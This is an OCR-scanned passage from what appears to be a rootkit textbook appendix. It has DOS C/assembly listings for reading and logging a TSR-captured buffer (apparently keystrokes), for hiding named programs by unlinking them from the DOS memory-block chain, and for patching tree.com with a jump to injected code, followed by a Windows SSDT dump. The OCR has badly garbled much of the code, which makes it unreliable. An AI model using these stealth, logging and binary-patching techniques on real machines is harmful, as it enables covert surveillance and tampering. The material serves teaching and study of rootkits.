printf("putInLogFile() : Error writing to log file \ n") ; } retVal = fclose( fptr) ; if(retVal==EOF) { printf("putInLogFile() : Error closing log file \ n");
return; }/*end putInLogFile() - - -- -- - --- - ------ - - ---- - - ---- - - ---- ------ - ---- - --- - - - - --of
void printBuffer( char* cptr, int s ize) { int nColumns ; //formats the output to NCOLS columns int nPrinted; //tracks number of alphanumeric bytes int i; printf( "printBuffer( ) : ---- - - --- - - --- - ---- - - - - \ n"); nColumns=0 ; nPrinted=0 ; for(i=0; i <size; i++) { if( (cptr[i] >=0x20)&&( cptr[i] <=0x7E { printf("%c ", cptr[i]); nPrinted++ ; else { printf( "*"); nColumns++ ; if(nColumns==NCOLS) { printf( "\ n") ; nColumns=0 ;
/*
This is the driver (as if it weren't obvious) It reads the global buffer set up by the TSR and sends it to the screen
*/
void emptyBuffer()
Appendix 1689
Appendix / Chapter 2
//Segment address of global buffer / / offset address of global buffer / / buffer for screen output //position in global memory / /value read from global memory
PUSH OX PUSH 01 1NT 1SR_CODE r-YJV bufferCS, OX r-YJV buffer1P, D1 POP 01 POP OX
printf( "buffer[CS , 1P)=%04X, %04X\n", bufferCS, buffer1P); // move through global memory and harvest characters for( index=0; index<SZ_BUFFER; indexH) {
_asm
PUSH ES PUSH BX PUSH 51 r-YJV r-YJV r-YJV ADO ES, bufferCS BX, buffer1P S1,index BX,S1
PUSH OS r-YJV CX,ES r-YJV DS ,CX r-YJV 51,05: [BX) POP DS r-YJV value,S1 POP 51 POP BX POP ES
/ / display the harvested chars printBuffer( crtlO, SZ_BUFFER); putlnLogFile( crtlO, SZ_BUFFER);
return;
}/*end emptyBuffer() - - ----- - ---- - - ---- - - ----- - ----- - ----- ----- - ------ ----- - --oJ void mainO { emptyBuffer 0 return;
690
Appen dI X
Project: H ideTSR
}I 'end
main ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -' I
Proied: HidelSR
Files: HideTSR.c
/* ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ + HideTSR .C +
+
+ +
+
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
1eH byte s
'I
struct MCB
{
II 'M'
normally,
II Segment address of owner's PSP (exOOOOH II Size of MCB ( in 16- byte paragraphs) I II suspect this i s filler
' Z'
IIThis puts the MCB header and its address under a cOlMlon s tructure struct MCBHeader { struct MCB m cb; struct Address address ;
Appendix 1691
Appendix / Chapter 2
};
/* [Functions]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ void printMCB( struct MCB blnfo) { BYTE fileName [SZ_NAME+1] ; int i; / /guarantee that this st ring is safe to print fileName[SZ_NAME]= . \0 ' ; printf( "Type=%c\t", blnfo . type); printf( "o..ner=%e4X\ t" , blnfo. owner) ; printf ("Size=%e4X\ t" , blnfo . size) ; printf( "Name="); printf("("); if(blnfo.owner==BxB) { printf ( "*Free*") ; } else if(strlen(fileName)==SZ_NAME )
{
/ /if the null terminator is ours, then it' s probably not a file printf( "Environment" ); else { for(i=B;i <SZ_NAME ; i++){ fileName[i] = blnfo.name[i]; } printf( "%s" , fileName) ;
} printf(") ");
printf("\n");
return; }/*printMCB - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - -* /
/* This takes an array of two bytes and converts them into a WORD
*/
WORD arrayToWord(BYTE *bPair) { WORD *wptr; WORD value ; wptr = (WORD*)bPair ; value = *wptr; return (value) ; }/*end arrayToWord( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
/*
Given the address of the MCB header, populate an MCB structure for it
~/
struct MCBHeader populateMCB(struct Address addr) { WORD segment; WORD index; BYTE buffer[SZ_MCB]; BYTE bytePair[2J; BYTE data; int i ., j; / /receives the 16 bytes that make up the MCB / f used to build WORD fields i n the MCB / f used within asm- block to get data
692
Appen dI X
Project: HideTSR
IINota Bene : the owner's segment address bytes are reversed! bytePair [e) = buffer [2); bytePair[l) = buffer[l); value = arrayToWord(bytePair); (hdr.mcb) . owner = value;
bytePair [e) = buffer [3) ; bytePair[l) = buffer [ 4); value = arrayToWord(bytePair); (hdr.mcb).size = value; for(i=8;i <=lS;i++) { j = i -8; (hdr.mcb).name[j) return (hdr) ;
buffer[i);
}/*end populateMCB- - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - -* I
void printArenaAddress(Io.ORD segment, Io.ORD offset) { printf( "Arena[CS, IP)=[%04X,%04X): ",segment,offset);
Appendix 1693
Appendix I Chapter 2
/*
Getting your hands on the first MCB is the hard part Must use an 'undocumented' DOS system call (function exS2)
*/
struct MCBHeader getFirstMCB()
{
I / address of "List of File Tables" \..oRO FTsegment; \..oRO FToffset; Iladdress of first MCB \..oRO headerSegment; \..oRO headerDffset; struct Address hdrAddr; struct MCBHeader mcbHdr;
1*
INT ex21, function ex52, returns a pointer to a pointer Puts address of "List of File Tables" in ES: BX Address of first Arena Header is in ES : [BX-4] Address is in IP : CS format! (not CS:IP)
AH,ex52 INT ex21 SUB BX,4 t'{)V FTsegment, ES t'{)V FToffset, BX t'{)V AX, ES: [BX] t'{)V headerDffset,AX INC BX INC BX t'fJV AX , ES: [BX] t'{)V headerSegment, AX
t'{)v
headerSegment; headerDffset;
/*
This should be right near the start of DOS system data Can verify these results in two ways : 1) mem / d (address should be start of system data segment) 2) debug -d xxxx:xxxx should have ' M' as first char in dump
*1
printf( "File Table Address [CS, IP] =%e4X, %e4X\n" , FTsegment, FToffset) ; printf(" - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ n"); printArenaAddress (headerSegment, headerDffset) ; mcbHdr = populateMCB(hdrAddr);
}/*end getFirstMCB- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*/
return(mcbHdr) ;
/*
The MCB is the first paragraph of each memory block To find it, we perform the following calculation : Address next MCB = address current MCB + size of MCB + size of cu rrent block Offset address is always exeeee, so we can ignore it
694 I Appendix
Project: HideTSR
[MCB] [
Block
] [MCB][
Block
*1
struct MCBHeader getNextMCB(struct Address currentAddr, struct MCB currentMCB) { WORD next Segm ; ent WORD nextDffset; struct MCBHeader newHeader; nextSegment nextDffset currentAddr. segment; exeooe;
I l use current address and size to find next MCB header next Segment next Segment + 1; IIMCB is 1 paragraph nextSegm ent = nextSegment + currentMCB.size; Il block is 'n ' paragraphs
printArenaAddress (nextSegment, nextDffset) ; (newHeader. address) . segment (newHeader. address) . offset next Segment ; nextDffset;
1*
Update memory so current MCB is skipped over the next time the chain is walked
*1
void hideApp(struct MCBHeader oldHdr, struct MCBHeader currentHdr) { WORD segmentFix; WORD sizeFix; segmentFi x sizeFix (oldHdr. address) . segment; (oldHdr . mcb). size + 1 + (currentHdr.mcb) .size;
PUSH BX PUSH ES PUSH AX MJV BX, segmentFix MJV ES,BX MJV BX,exe ADD BX,ex3 MJV AX, sizeFix MJV ES: [BX],AX PDP AX PDP ES PDP BX
return;
1*
Can duplicate MCB chain traversal via debug. exe Files starting with "$$" are hidden (show via "mem Ic" cOOllland) There are telltale signs with "mem Id"
*1
void main O { st ruct MCBHeader mcbHeader; struct MCBHeader oldHeader ;
Appendix I 695
Appendix I Chapter 2
11005 System Data (Le., "SO") will always be first in the MCB chain mcbHeader = getFirstMCB(); oldHeader = mcbHeader;
printMCB (mcbHeader. mcb) ; while ( mcbHeader .mcb) . type != MCB_TYPE_END)&&( (mcbHeader .mcb). type == MCB_TYPE_NOTENO { mcbHeader = getNextMCB(mcbHeader. address, mcbHeader. mcb); printMCB(mcbHeader .mcb);
if( mcbHeader .mcb) . name[8]==' $' )&&( (mcbHeader . mcb) . name[l]== '$' { printf( "Hiding program : %s\n", (mcbHeader . mcb) . name); hideApp( oldHeader ,mcbHeader) ;
return;
}/*end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*1
Proied: Patch
Files: Patch.asm
+ - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - -- +
I
+- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - --+
Basic gameplan : Patch first four bytes of tree. com Old code : CMP SP, 3EFF (81 FC 3EFF) New code : JMP [10 byte][hi byte] NOP (E9 A2 26 98) Existing binary ends at offset 26M This will become 27M when loaded into RAM (due to 100H .CCtl PSP) The JMP above is a near jump, and it uses a 16-bit signed displacement Distance to jump = Start 8183 (IP at end of E9 A7 27) End 27A5 (first instruction of patch)
.;
26A2 is displacement to jump Then we use a hex editor to paste all the code between the jumps JMP SHORT _main - > JMP BX Only need one fix - up (the address of the message bytes, see below) See dissection of hex dump in the book CSEG SEGMENT BYTE PUBLIC 'CODE' ASSlJo1E CS: CSEG, OS : CSEG, 55: CSEG ; Need raw binary, can comment out ORG directive ; ORG leaH
696
Appen di x
SSDT
_here: JMP SHORT _main ; EB 29 (start copying here) _message DB We just jumped to the end of Tree. com! " 8AH, OOH, 24H ; entry point- - -- - - - ---- - - ----- - - ---------- ----- ----- - - ---- - ------ --- --- -_main: This code below needs to be patched manually needed to set to manually to address 26A7+100(COM PSP) = 27A7 Jump instruction takes up 2 bytes (starting at offset 27A5) Buffer start at offset 27A7 f'(JV OX, OFFSET _message goes from (BA 0002) to (BA A727), note the byte reversal
;84 89
;BA 0002 ;CD 21
; [Return Code]- - - - - - - - - - - - - - - - - - - - - - - - - - - - -CMP SP,3EFFH ;81 FC 3EFF (code we supplanted with our jump) f'(JV BX,8184H ; BB 8184 (goto code following inserted jump) JMP BX ;FF E3
f'(JV
; we can ignore everything after this comment AX, 4COOH INT 21H
; stack for . COM program- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -; PUBLIC _localStk ;_localStk DB 64 DUP(' J' ) CSEG ENDS END _here
Chapter 3
SSDT
kd > dps nt! KiServiceTable L187
Table Order
1 2 3 4 S 6 7 8 9 18 11 12 13 14 15 nt! NtAcceptConnectPort nt! NtAccessCheck nt! NtAccessCheckAndAudi tAlarm nt! NtAccessCheckByType nt! NtAccessCheckByTypeAndAuditAlarm nt! NtAccessCheckByTypeResultList nt! NtAccessCheck8yTypeResultListAndAuditAlarm nt! NtAccessCheckByTypeResultListAndAuditAlarmByHandle nt ! NtAddAtom nt! NtAddBootEntry nt! NtAddDri verEntry nt! NtAdjustGroupsToken nt! NtAdjustPrivilegesToken nt! NtAlertResumeThread nt! NtAlertThread
Appen di x
I 697
Appendix
I Chapter 3
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
34
35 36 37 38 39
40
41 42 43
44
45 46 47 48 49 50 51 52 53
54
55 56 57 58 59 60 61 62 63
64
65 66 67 68 69 70
-71 72
73 74 75 76
77
78 79 80
nt ! NtAllocateLocallyUniqueld nt! NtAllocateUserPhysicalPages nt ! NtAllocateUuids nt! NtAllocateVirtualMemory nt ! NtAlpcAcceptConnectPort nt! NtAlpcCancelMessage nt ! NtAlpcConnectPort nt !NtAlpcCreatePort nt ! NtAlpcCreatePort5ection nt! NtAlpcCreateResourceReserve nt ! NtAlpcCreate5ectionView nt ! NtAlpcCreate5ecuri tyContext nt! NtAlpcDeletePort5ection nt! NtAlpcDeleteResourceReserve nt ! NtAlpcDelete5ectionView nt ! NtAlpcDelete5ecuri tyContext nt ! NtAlpcDisconnectPort nt! NtAlpclmpersonateClientOfPort nt ! NtAlpcDpen5enderProcess nt ! NtAlpcOpen5enderThread nt! NtAlpcQuerylnformation nt! NtAlpcQuerylnformationMessage nt! NtAlpcRevoke5ecuri tyContext nt! NtAlpc5endWai tReceivePort nt ! NtAlpc5etlnformation nt! NtApphelpCacheControl nt!NtAreMappedFilesThe5ame nt! NtAssignProcessToJobObject nt! NtCallbackReturn nt! xH LoadMicrocode al nt! NtCancelIoFile nt! NtCancel Timer nt! NtClearEvent nt !NtClose nt! NtCloseObjectAuditAlarm nt ! NtCompactKeys nt! NtCompareTokens nt ! NtComplet eConnectPort nt ! NtCompressKey nt ! NtConnectPort nt ! NtContinue nt! NtCreateDebugObject nt! NtCreateDirectoryObject nt ! NtCreateEvent nt ! NtCreateEventPair nt! NtCreateFile nt! NtCreateloCompletion nt! NtCreateJobObject nt! NtCreateJob5et nt ! NtCreateKey nt! NtCreateKeyTransacted nt!NtCreateMailslotFile nt! NtCreateMutant nt ! NtCr eateN amedPipeF ile nt! NtCreatePrivateNamespace nt! NtCreatePagingFile nt ! NtCreatePort nt! NtCreateProcess nt! NtCreateProcessEx nt ! NtCreateProfile nt ! NtCreate5ection nt ! NtCreate5emaphore nt! NtCreate5ymbolicLinkObject nt! NtCreateThread nt! NtCreateTimer
698
A pen di x p
SSDT
81 nt i NtCreateToken 82 nt i NtCreateTransaction 83 nt i NtOpenTransaction 84 nt i NtQuerylnformationTransaction 85 ntiNtQuerylnformationTransactionManager 86 nt i NtPrePrepareEnlistment 87 nt i NtPrepareEnlistment 88 nt i NtCommi tEnlistment 89 nt i NtReadOnlyEnlistment 90 nt i NtRollbackComplete 91 nt i NtRollbackEnlistment 92 nt i NtCommitTransaction 93 nt i NtRollbackTransaction 94 nt i NtPrePrepareComplete 95 nt i NtPrepareComplete 96 nt i NtCommi tComplete 97 nt i NtSinglePhaseReject 98 ntiNtSetlnformationTransaction 99 ntiNtSetlnformationTransactionManager 100 nt i NtSetInformationResourceManager 101 nt i NtCreateTransactionManager 102 nt i NtOpenTransactionManager 103ntiNtRenameTransactionManager 104ntiNtRollforwardTransactionManager 105 nt i NtRecoverEnlistment 106 nt i NtRecoverResourceManager 107ntiNtRecoverTransactionManager 108ntiNtCreateReSourceManager 109 nt i NtOpenResourceManager 110ntiNtGetNotificationResourceManager 111ntiNtQuerylnformationResourceManager 112 nt i NtCreateEnlistment 113 nt i NtOpenEnlistment 114 nt i NtSetlnformationEnlistment 115 nt i NtQuerylnformationEnlistment 116 nt i NtCreateWai tablePort 117 nt i NtDebugActi veProcess 118 nt i NtDebugContinue 119ntiNtDelayExecution 120ntiNtDeleteAtom 121 nt i NtDeleteBootEntry 122 nt i NtDeleteDri verEntry 123 nt i NtDeleteFile 124 nt i NtDeleteKey 125 nt i NtDeletePri vateNamespace 126 nt i NtDeleteObjectAuditAlarm 127 nt i NtDeleteValueKey 128 nt i NtDeviceloControlFile 129ntiNtDisplayString 130 nt i NtDuplicateObject 131ntiNtDuplicateToken 132 nt i NtEnumerateBootEntries 133 nt i NtEnumerateDri verEntries 134 nt i NtEnumerateKey 135ntiNtEnumerate5ystemEnvironmentValuesEx 136 nt i NtEnumerateTransactionObject 137 nt i NtEnumerateValueKey 138 nt i NtExtendSection 139ntiNtFilterToken 140 nt i NtFindAtom 141ntiNtFlushBuffersFile 142ntiNtFlushlnstructionCache 143 nt i NtFlushKey 144 nt i NtFlushProcessWriteBuffers 145ntiNtFlushVirtualMemory
Appen di x
I 699
Appendix / Chapter 3
146 nt I NtFlushWriteBuffer 147 nt I NtFreeUserPhysicalPages 148 nt I NtFreeVirtualMemory 149 nt I NtFreezeRegistry 158 nt I NtFreezeTransactions 151 nt I NtFsControlFile 152 nt I NtGetContextThread 153 nt I NtGetDevicePowerState 154 nt I NtGetNlsSectionPtr 155 nt I NtGetPlugPlayEvent 156 nt I NtGetWri teWatch 157ntlNtlmpersonateAnonymousToken 158 nt I NtlmpersonateClientDfPort 159 nt I NtImpersonateThread 168 nt I Ntlni tializeNlsFiles 161ntlNtlnitializeRegistry 162ntlNtlnitiatePowerAction 163ntiNtIsProcesslnJob 164 nt I NtIsSystemResumeAutomatic 165ntiNtListenPort 166 nt I NtLoadDriver 167 nt I NtLoadKey 168 nt I NtLoadKey2 169 nt I NtLoadKeyEx 178nt I NtLockFile 171 nt I NtLockProductActivationKeys 172 nt I NtLockRegistryKey 173 nt I NtLockVirtualMemory 174 nt I NtMakePermanentObject 175 nt I NtMakeTemporaryObject 176 nt I NtMapUserPhysicalPages 177 nt I NtMapUserPhysicalPagesScatter 178 nt I NtMapViewDfSection 179 nt I NtModifyBootEntry 188 nt I NtModi fyDri verEntry 181 nt I NtNotifyChangeDirectoryFile 182 nt I NtNotifyChangeKey 183 nt I NtNoti fyChangeMul tipleKeys 184 nt I NtOpenDirectoryObject 185 nt I NtOpenEvent 186 nt I NtOpenEventPair 187 nt I NtOpenFile 188 nt I NtOpenloCompletion 189 nt I NtOpenJobObject 198 nt I NtOpenKey 191 nt I NtOpenKeyTransacted 192 nt I NtOpenMutant 193 nt I NtOpenPrivateNames pace 194 nt I NtOpenObjectAudi tAlarm 195 nt I NtOpenProcess 196 nt I NtOpenProcessToken 197 nt I NtOpenProcessTokenEx . 198 nt I NtOpenSection 199 nt I NtOpenSemaphore 200 nt I NtOpenSession 281 nt I NtOpenSymbolicLinkObject 282 nt I NtOpenThread 283nt iNtOpenThreadToken 284 nt I NtOpenThreadTokenEx 285nt iNtOpenTimer 286 nt I NtPlugPlayControl 287 nt I NtPowerlnformation 288 nt I NtPrivilegeCheck 289 nt I NtPrivilegeObjectAuditAlarm 218 nt I NtPrivilegedServiceAudi tAlarm
700 I Appendix
SSDT
211ntiNtProtectVirtualMemory 212ntiNtPulseEvent 213 nt INtQueryAttributesFile 214ntlNtQueryBootEntryOrder 215 nt INtQueryBootOptions 216ntlNtQueryOebugFilterState 217nt lNtQueryDefaultLocale 218ntlNtQueryDefaultUILanguage 219ntlNtQueryOirectoryFile 220 nt INtQueryDirectoryObject 221ntlNtQueryDriverEntryOrder 222 nt INtQueryEaFile 223 nt INtQueryEvent 224 nt INtQueryFullAttributesFile 225 nt INtQuerylnformationAtom 226ntlNtQuerylnformationFile 227 nt INtQuerylnformationJobObject 228 nt INtQuerylnformationPort 229ntlNtQuerylnformationProcess 230nt lNtQuerylnformationThread 231 nt INtQuerylnformationToken 232ntlNtQuerylnstallUILanguage 233ntlNtQuerylntervalProfile 234 nt INtQueryloCompletion 235 nt INtQueryKey 236 nt INtQueryMul tipleValueKey 237 nt INtQueryMutant 238 nt INtQueryObject 239ntlNtQueryOpenSubKeys 240 ntI NtQueryOpen5ubKeysEx 241ntlNtQueryPerformanceCounter 242 nt INtQueryQuotalnformationFile 243 nt INtQuerySection 244 nt INtQuery5ecurityObject 245ntlNtQuery5emaphore 246 nt INtQuery5ymbolicLinkObject 247ntlNtQuery5ystemEnvironmentValue 248 nt INtQuery5ystemEnvironmentValueEx 249ntlNtQuery5ystemlnformation 250ntlNtQuery5ystemTime 251 nt INtQueryTimer 252 nt INtQueryTimerResolution 253 nt INtQueryValueKey 254 nt INtQueryVirtualMemory 255ntlNtQueryVolumelnformationFile 256 nt INtQueueApcThread 257 nt INtRaiseException 258ntiNtRaiseHardError 259 nt INtReadFile 260ntiNtReadFileScatter 261ntiNtReadRequestData 262nt!NtReadVirtualMemory 263 nt! NtRegisterThreadTerminatePort 264nt!NtReleaseMutant 265 nt !NtRelease5emaphore 266 nt !NtRemoveloCompletion 267 nt !NtRemoveProcessDebug 268 nt !NtRenameKey 269 nt! NtReplaceKey 270 nt! NtReplacePartitionUni t 271 nt INtReplyPort 272nt!NtReplyWaitReceivePort 273 nt INtReplyWai tReceivePortEx 274ntiNtReplyWaitReplyPort 275nt!xHalLoadMicrocode
Appendix 1701
Appendix / Chapter 3
276 nt INtRequestPort 277 nt INtRequestWai tReplyPort 278 nt INtRequestWakeupLatency 279 nt INtResetEvent 280 nt INtResetWri teWatch 281 nt INtRestoreKey 282 nt INtResumeProcess 283 nt INtResumeThread 284 nt INtSaveKey 285 nt INtSaveKeyEx 286 nt INtSaveMergedKeys 287 nt INtSecureConnectPort 288ntiNtSetBootEntryOrder 289 nt INtSetBootOptions 290 nt INtSetContextThread 291 nt INtSetDebugFil terState 292 nt INtSetDefaultHardErrorPort 293 nt INtSetDefaul tLocale 294 nt INtSetDefaul tUILanguage 295ntiNtSetDriverEntryOrder 296 nt I NtSetEaFile 297 nt I NtSetEvent 298 nt INtSetEventBoostPriori ty 299 nt INtSetHighEventPair 300 nt I NtSetHighWai tLowEventPair 301 nt I NtSetInformationDebugObject 302 nt I NtSetInformationFile 303 nt INtSetlnformationJobObject 304 nt INtSetInformationKey 305 nt INtSetInformationObject 306 nt INtSetlnformationProcess 307ntiNtSetlnformationThread 30S nt INtSetlnformationToken 309 nt INtSetlntervalProfile 310 nt INtSetIoCompletion 311 nt INtSetLdtEntries 312 nt INtSetLowEventPair 313ntiNtSetLOWWaitHighEventPair 314 nt INtSetQuotalnformationFile 315 nt I NtSetSecurityObject 316 nt INtSetSystemEnvironmentValue 317 nt INtSetSystemEnvironmentValueEx 318 nt INtSetSystemlnformation 319 nt INtSetSystemPowerState 320 nt INtSetSystemTime 321 nt INtSetThreadExecutionState 322 nt INtSetTimer 323 nt INtSetTimerResolution 324 nt INtSetUuidSeed 325 nt INtSetValueKey 326 nt INtSetVolumelnformationFile 327 nt INtShutdownSystem 328 nt INtSignalAndWai tForSingleObject 329 nt I NtStartProfile 330ntiNtStopProfile . 331 nt INtSuspendProcess 332 nt INtSuspendThread 333 nt INtSystemDebugControl 334 ntI NtTerminateJobObject 335ntiNtTerminateProcess 336 nt INtTerminateThread 337 nt INtTestAlert 338 nt INtThawRegistry 339 nt INtThawTransactions 34e nt I NtTraceEvent
702
Appendix
SSDT
341 nt i NtTraceControl 342 nt i NtTranslateFilePath 343ntiNtUnloadDriver 344 nt i NtUnloadKey 345 nt i NtUnloadKey2 346ntiNtUnloadKeyEx 347 nt i NtUnlockFile 348 nt iNtU nlockVirtualMemory 349 nt iNtUnmapViewDfSection 350 nt i NtVdmControl 351 nt i NtWaitForDebugEvent 352ntiNtWaitForMultipleObjects 353 nt i NtWai tForSingleObject 354ntiNtWaitHighEventPair 355ntiNtWaitLowEventPair 356 nt i NtWri teFile 357ntiNtWriteFileGather 358ntiNtWriteRequestData 359 nt i NtWri teVirtualMemory 360 nt i NtYieldExecution 361 nt i NtCreateKeyedEvent 362 nt i NtOpenKeyedEvent 363 nt i NtReleaseKeyedEvent 364 nt i NtWai tForKeyedEvent 365ntiNtQueryPortlnformationProcess 366 nt i NtGetCurrentProcessorNumber 367 nt i NtWai tForMultipleObjects32 368 nt i NtGetNextProcess 369 nt i NtGetNextThread 370ntiNtCancelloFileEx 371ntiNtCancelSynchronousloFile 372 nt i NtRemoveloCompletionEx 373ntiNtRegisterProtocolAddresslnformation 374 nt i NtPropagationComplete 375ntiNtPropagationFailed 376 nt i NtCr eateWorkerFactory 377 nt i NtReleaseWorkerFactoryWorker 378 nt i NtWai tForWorkViaWorkerFactory 379 nt i NtSetInformationWorkerFactory 380 nt i NtQuerylnformationWorkerFactory 381 nt i NtWorkerFactoryWorkerReady 382 nt i NtShutdownWorkerFactory 383 nt! NtCreateThreadEx 384ntiNtCreateUserProcess 385 nt i NtQueryLicenseValue 386 nt i NtMapCMFModule 387 nt i NtIsUILanguageComi tted 388ntiNtFlushlnstallUILanguage 389 nt i NtGetMUIRegistrylnfo 390 nt i NtAcquireCMFViewO.lnership 391 nt i NtReleaseCMFViewO.lnership
Alphabetical Order
nt i NtAcceptConnectPort nt i NtAccessCheck nt i NtAccessCheckAndAuditAlarm nt i NtAccessCheckByType nt i NtAccessCheckByTypeAndAudi tAlarm nt! NtAccessCheckByTypeResul tList nt i NtAccessCheckByTypeResul tListAndAudi tAlarm nt i NtAccessCheckByTypeResul tListAndAudi tAlarmByHandle nt i NtAcquireCMFViewO.lnership nt i NtAddAtom nt i NtAddBootEntry
Appendix
I 703
Appendix / Chapter 3
nt ! NtAddDri verEntry nt! NtAdjustGroupsToken nt! NtAdjustPrivilegesToken nt! NtAlertResumeThread nt ! NtAlertThread nt! NtAllocateLocallyUniqueld nt! NtAllocateUserPhysicalPages nt!NtAllocateUuids nt ! NtAllocateVirtualMemory nt! NtAlpcAcceptConnectPort nt! NtAlpcCancelMessage nt ! NtAlpcConnectPort nt ! NtAlpcCreatePort nt ! NtAlpcCreatePortSection nt ! NtAlpcCreateResourceReserve nt! NtAlpcCreateSectionView nt! NtAlpcCreateSecurityContext nt! NtAlpcDeletePortSection nt! NtAlpcDeleteResourceReserve nt! NtAlpcDeleteSectionView nt! NtAlpcDeleteSecurityContext nt ! NtAlpcDisconnectPort nt! NtAlpclmpersonateClientOfPort nt! NtAlpcOpenSenderProcess nt ! NtAlpcOpenSenderThread nt! NtAlpcQuerylnformation nt! NtAlpcQuerylnformationMessage nt! NtAlpcRevokeSecuri tyContext nt ! NtAlpcSendWai tRecei vePort nt! NtAlpcSetl nfo rmation nt! NtApphelpCacheControl nt! NtAreMappedFilesTheSame nt! NtAssignProcessToJobObject nt!NtCallbackReturn nt! NtCancelIoFile nt! NtCancelIoFileEx nt! NtCancelSynchronousloFile nt! NtCancel Timer nt! NtClearEvent nt !NtClose nt! NtCloseObjectAuditAlarm nt ! NtComni tComplete nt ! NtComni tEnlistment nt ! NtComnitTransaction nt ! NtCompactKeys nt! NtCompareTokens nt ! NtCompleteConnectPort nt! NtCompressKey nt ! NtConnectPort nt ! NtContinue nt ! NtCreateDebugObj ect nt! NtCreateDirectoryObject nt! NtCreateEnlistment nt ! NtCreateEvent nt! NtCreateEventPair . nt! NtCreateFile nt! NtCreateloCompletion nt! NtCreateJobObject nt! NtCreateJobSet nt ! NtCreateKey nt ! NtCreateKeyedEvent nt! NtCreateKeyTransacted nt! NtCreateMailslotFile nt! NtCreateMutant nt! NtCreateNamedPipeFile
704 I Appendix
SSDT
nt! NtCreatePagingFile nt ! NtCreatePort nt! NtCreatePrivateNamespace nt! NtCreateProcess nt! NtCreateProcessEx nt ! NtCreateProfile nt! NtCreateResourceManager nt ! NtCreateSection nt! NtCreateSemaphore nt! NtCreateSymbolicLinkObject nt! NtCreateThread nt! NtCreateThreadEx nt! NtCreateTimer nt! NtCreateToken nt! NtCreateTransaction nt! NtCreateTransactionManager nt! NtCreateUserProcess nt ! NtCreateWai tablePort nt! NtCreateWorkerFactory nt! NtOebugActiveProcess nt ! NtOebugContinue nt! NtOelayExecution nt! NtDeleteAtom nt! NtOeleteBootEntry nt ! NtOeleteDri verEntry nt! NtOeleteFile nt ! NtOeleteKey nt! NtOeleteObjectAuditAlarm nt! NtOeletePri vateNamespace nt! NtOeleteValueKey nt! NtOeviceloControlFile nt! NtDisplayString nt ! NtDuplicateObj ect nt! NtDuplicateToken nt! NtEnumerateBootEntries nt ! NtEnumerateDri verEntries nt! NtEnumerateKey nt! NtEnumerateSystemEnvironmentValuesEx nt! NtEnumerateTransactionObject nt I NtEnumerateValueKey nt! NtExtendSection nt! NtFilterToken nt! NtFindAtom nt! NtFlushBuffersFile nt I NtFlushlnstallUILanguage nt ! NtFlushlnstructionCache nt! NtFlushKey nt! NtFlushProcessWri teBuffers nt! NtFlushVirtualMemory nt ! NtFlushWri teBuffer nt! NtFreeUserPhysicalPages nt! NtFreeVirtualMemory nt! NtFreezeRegistry nt! NtFreezeTransactions nt! NtFsControlFile nt! NtGetContextThread nt! NtGetCurrentProcessorNumber nt ! NtGetOevicePowerState nt! NtGetltJIRegistrylnfo nt! NtGetNextProcess nt ! NtGetNextThread nt! NtGetNlsSectionptr nt! NtGetNoti ficationResourceManager nt! NtGetPlugPlayEvent nt ! NtGetWri teWatch
Appendix 1705
Appendix / Chapter 3
nt! NtlmpersonateAnonymousToken nt ! NtImpersonateClientOfPort nt! NtlmpersonateThread nt! Ntlni tializeNlsFiles nt! Ntlni tializeRegistry nt ! Ntlni tiatePowerAction nt! NtIsProcesslnJob nt! NtIsSystemResumeAutomatic nt! NtIsUILanguageComi tted nt! NtListenPort nt ! NtLoadDri ver nt ! NtLoadKey nt! NtLoadKey2 nt!NtLoadKeyEx nt! NtLockFile nt! NtLockProductActivationKeys nt! NtLockRegistryKey nt! NtLockVirtualMemory nt ! NtMakePermanentObj ect nt! NtMakeTemporaryObject nt! NtMapCMFModule nt! NtMapUserPhysicalPages nt! NtMapUserPhysicalPagesScatter nt ! NtMapVie..ofSection nt! NtModi fyBootEntry nt! NtModifyDriverEntry nt! NtNoti fyChangeDirectoryFile nt ! NtNoti fyChangeKey nt ! NtNoti fyChangeMul tipleKeys nt! NtOpenDirectoryObject nt! NtOpenEnlistment nt! NtOpenEvent nt! NtOpenEventPair nt! NtOpenFile nt ! NtOpenloCompletion nt! NtOpenJobObject nt ! NtOpenKey nt ! NtOpenKeyedEvent nt! NtOpenKeyTransacted nt ! NtOpenMutant nt! NtOpenObjectAudi tAlarm nt ! NtOpenPri vateNamespace nt ! NtOpenProcess nt! NtOpenProcessToken nt! NtOpenProcessTokenEx nt ! NtOpenResourCeManager nt ! NtOpenSection nt ! NtOpenSemaphore nt! NtOpenSession nt ! NtOpenSymbolic LinkObj ect nt! NtOpenThread nt! NtOpenThreadToken fit! NtOpenThreadTokenEx nt! NtOpenTimer nt! NtOpenTransaction rft! NtOpenTransactionManager nt! NtPlugPlayControl nt! NtPowerlnformation nt ! NtPrepareComplete nt! NtPrepareEnlistment nt! NtPrePrepareComplete nt! NtPrePrepareEnlistment nt ! NtPri vilegeCheck nt! NtPrivilegedServiceAuditAlarm nt! NtPrivilegeObjectAuditAlarm
706
Appen di x
SSDT
